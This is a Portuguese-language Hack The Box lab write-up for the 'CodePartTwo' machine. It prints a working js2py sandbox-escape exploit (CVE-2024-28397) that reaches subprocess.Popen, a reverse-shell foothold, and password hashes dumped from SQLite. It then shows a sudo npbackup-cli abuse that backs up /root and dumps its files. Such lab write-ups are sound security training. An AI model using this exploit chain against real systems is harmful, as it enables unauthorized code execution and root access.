> For the complete documentation index, see [llms.txt](https://jpg.gitbook.io/jpg/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jpg.gitbook.io/jpg/writeups/hack-the-box/linux/codeparttwo.md).

# CodePartTwo

<figure><img src="/files/btbqHMjbEV8KZBdJVTbk" alt=""><figcaption></figcaption></figure>

CodePartTwo é uma máquina Easy Linux que apresenta uma aplicação web vulnerável baseada em Flask. A enumeração inicial da web revela um editor de código JavaScript que utiliza uma versão vulnerável do js2py, permitindo a execução remota de código através de sandbox escape. A exploração dessa falha concede acesso ao sistema como um usuário sem privilégios. Uma enumeração mais aprofundada revela um banco de dados SQLite contendo hashes de senhas, que são quebrados para obter acesso SSH. Por fim, um binário de backup, o npbackup-cli, é utilizado para obter privilégios de root.

### Enumeração Inicial

```sql
Open 10.129.232.59:22
Open 10.129.232.59:8000
```

Utilizando Rustscan e Nmap, foi possível encontrar duas portas abertas: 22 (SSH) e 8000 (HTTP).

Ao acessar a porta 8000, temos acesso ao site principal, que disponibiliza opções de Login, Registro e Download do código-fonte da aplicação.

<figure><img src="/files/d173mlRGtvLJWom0lCUi" alt=""><figcaption></figcaption></figure>

### Source Code

Na opção de `Download App`, podemos ter acesso completo ao código-fonte da aplicação, juntamente com suas dependências.

```php
app » tree .

├── app.py
├── instance
│   └── users.db
├── requirements.txt
├── static
│   ├── css
│   │   └── styles.css
│   └── js
│       └── script.js
└── templates
    ├── base.html
    ├── dashboard.html
    ├── index.html
    ├── login.html
    ├── register.html
    └── reviews.html

```

Inicialmente, o banco de dados `users.db` se encontra **vazio**.

```sql
app/instance » sqlite3 users.db

SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
code_snippet  user
sqlite> select * from user;
sqlite>

```

Já olhando as dependências, é possível identificar uma vulnerabilidade relacionada ao js2py.

```bash
app » cat requirements.txt

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
```

> An issue in the component js2py.disable\_pyimport() of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call.

> <https://nvd.nist.gov/vuln/detail/CVE-2024-28397>

Essa mesma função é encontrada em nosso código.

```sql
app » grep -B 5 -A 5 "js2py.disable_pyimport()" app.py

import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
```

#### POC

```sql
let cmd = ""
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
```

### Shell as App

Após autenticação na aplicação, é possível identificar a presença de um “**Code Editor”**, o qual executa código JavaScript utilizando a biblioteca **js2py**.

<figure><img src="/files/LDegnMwPeOO4Z1uNsJNb" alt=""><figcaption></figcaption></figure>

Utilizando a POC acima, não foi possível ler arquivos direto da aplicação, indicando um possível ataque Blind.

<figure><img src="/files/qaW0iBGEJe5251kCoZ2u" alt=""><figcaption></figcaption></figure>

Ainda assim, o RCE pôde ser confirmada por meio de um **callback HTTP** para um servidor Python.

```php
app » server
                                                                             
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) ...
10.129.232.59 - - [03/Feb/2026 10:01:41] "GET / HTTP/1.1" 200 -

```

```php
app » nc -lvnp 8888                                                                      

connect to [10.10.16.99] from (UNKNOWN) [10.129.232.59] 39362
bash: cannot set terminal process group (827): Inappropriate ioctl for device
bash: no job control in this shell
app@codeparttwo:~/app$

```

### Shell as Marco

#### Enumeration

Encontramos novamente o código‑fonte da aplicação. Desta vez, o banco de dados contém usuários cadastrados, incluindo **marco**.

```sql
app@codeparttwo:~/app$ ls -la
total 32
drwxrwxr-x 6 app app 4096 Sep  1 13:25 .
drwxr-x--- 5 app app 4096 Apr  6  2025 ..
-rw-r--r-- 1 app app 3679 Sep  1 13:24 app.py
drwxrwxr-x 2 app app 4096 Feb  3 09:46 instance
drwxr-xr-x 2 app app 4096 Sep  1 13:28 __pycache__
-rw-rw-r-- 1 app app   49 Jan 17  2025 requirements.txt
drwxr-xr-x 4 app app 4096 Sep  1 13:37 static
drwxr-xr-x 2 app app 4096 Sep  1 13:24 templates

app@codeparttwo:~/app$ ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Jan  2  2025 .
drwxr-xr-x 18 root  root  4096 Nov 16  2024 ..
drwxr-x---  5 app   app   4096 Apr  6  2025 app
drwxr-x---  6 marco marco 4096 Feb  3 10:00 marco

app@codeparttwo:~/app$ sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
code_snippet  user
sqlite> select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
```

<figure><img src="/files/6uZGr0de3PKDke1z0b4C" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

Após logar como Marco, dentro de sua home encontramos um diretório chamado backups, no qual não temos permissao de leitura, e também um arquivo de configuração do [npbackup](https://github.com/netinvent/npbackup).

```sql
marco@codeparttwo:~$ ls -la
total 44
drwxr-x--- 6 marco marco 4096 Feb  3 10:15 .
drwxr-xr-x 4 root  root  4096 Jan  2  2025 ..
drwx------ 7 root  root  4096 Apr  6  2025 backups
lrwxrwxrwx 1 root  root     9 Oct 26  2024 .bash_history -> /dev/null
-rw-r--r-- 1 marco marco  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 marco marco 3771 Feb 25  2020 .bashrc
drwx------ 2 marco marco 4096 Apr  6  2025 .cache
drwxrwxr-x 4 marco marco 4096 Feb  1  2025 .local
lrwxrwxrwx 1 root  root     9 Nov 17  2024 .mysql_history -> /dev/null
-rw-rw-r-- 1 root  root  2893 Jun 18  2025 npbackup.conf
-rw-r--r-- 1 marco marco  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root  root     9 Oct 26  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root  root     9 Oct 31  2024 .sqlite_history -> /dev/null
drwx------ 2 marco marco 4096 Oct 20  2024 .ssh
-rw-r----- 1 root  marco   33 Feb  3 09:38 user.txt
marco@codeparttwo:~$ ls backups/
ls: cannot open directory 'backups/': Permission denied

```

Checando as permissões de sudo, encontramos que marco pode rodar o binário npbackup-cli como qualquer usuário.

```sql
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

```

#### Abuso do npbackup-cli

Ao analisar o `--help` do binário, observamos argumentos relevantes:

```bash
-c CONFIG_FILE, --config-file CONFIG_FILE Path to alternative configuration file (defaults to current dir/npbackup.conf)

-b, --backup Run a backup

--ls [LS] Show content given snapshot. When no snapshot id is given, latest is used

--dump DUMP Dump a specific file to stdout (full path given by --ls), use with --dump [file], add --snapshot-id to specify a snapshot other than latest
```

O arquivo `npbackup.conf` permite definir **paths arbitrários** para backup:

```sql
marco@codeparttwo:~$ cat npbackup.conf
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri:
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password:
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false

```

#### Path do Ataque

Com isso, nosso **path de ataque** consiste em:

1. Alterar o arquivo de configuração apontando para `/root`
2. Executar o `npbackup-cli` via sudo utilizando esse arquivo
3. Listar os snapshots
4. Utilizar `-dump` para ler arquivos sensíveis

```bash
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf -b
2026-02-03 10:27:56,889 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-02-03 10:27:56,910 :: INFO :: Loaded config 09F15BEC in /home/marco/npbackup.conf
2026-02-03 10:27:56,919 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2026-02-03 10:27:59,201 :: INFO :: Snapshots listed successfully
2026-02-03 10:27:59,202 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2026-02-03 10:27:59,202 :: INFO :: Runner took 2.283474 seconds for has_recent_snapshot
2026-02-03 10:27:59,202 :: INFO :: Running backup of ['/root/'] to repo default
2026-02-03 10:28:00,041 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2026-02-03 10:28:00,042 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2026-02-03 10:28:00,042 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2026-02-03 10:28:00,042 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2026-02-03 10:28:00,042 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2026-02-03 10:28:00,042 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2026-02-03 10:28:00,042 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2026-02-03 10:28:00,042 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2026-02-03 10:28:00,042 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files

Files:          15 new,     0 changed,     0 unmodified
Dirs:            8 new,     0 changed,     0 unmodified
Added to the repository: 190.612 KiB (39.888 KiB stored)

processed 15 files, 197.660 KiB in 0:00
snapshot 84786010 saved
2026-02-03 10:28:00,961 :: INFO :: Backend finished with success
2026-02-03 10:28:00,963 :: INFO :: Processed 197.7 KiB of data
2026-02-03 10:28:00,963 :: ERROR :: Backup is smaller than configured minmium backup size
2026-02-03 10:28:00,963 :: ERROR :: Operation finished with failure
2026-02-03 10:28:00,963 :: INFO :: Runner took 4.045561 seconds for backup
2026-02-03 10:28:00,963 :: INFO :: Operation finished
2026-02-03 10:28:00,968 :: INFO :: ExecTime = 0:00:04.080818, finished, state is: errors.

```

```bash
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf --ls
2026-02-03 10:28:07,346 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-02-03 10:28:07,366 :: INFO :: Loaded config 09F15BEC in /home/marco/npbackup.conf
2026-02-03 10:28:07,374 :: INFO :: Showing content of snapshot latest in repo default
2026-02-03 10:28:09,126 :: INFO :: Successfully listed snapshot latest content:
snapshot 84786010 of [/root] at 2026-02-03 10:28:00.051516594 +0000 UTC by root@codeparttwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db

2026-02-03 10:28:09,126 :: INFO :: Runner took 1.752369 seconds for ls
2026-02-03 10:28:09,127 :: INFO :: Operation finished
2026-02-03 10:28:09,131 :: INFO :: ExecTime = 0:00:01.787593, finished, state is: success.

```

```bash
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup.conf --dump /root/root.txt
79023******************
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jpg.gitbook.io/jpg/writeups/hack-the-box/linux/codeparttwo.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
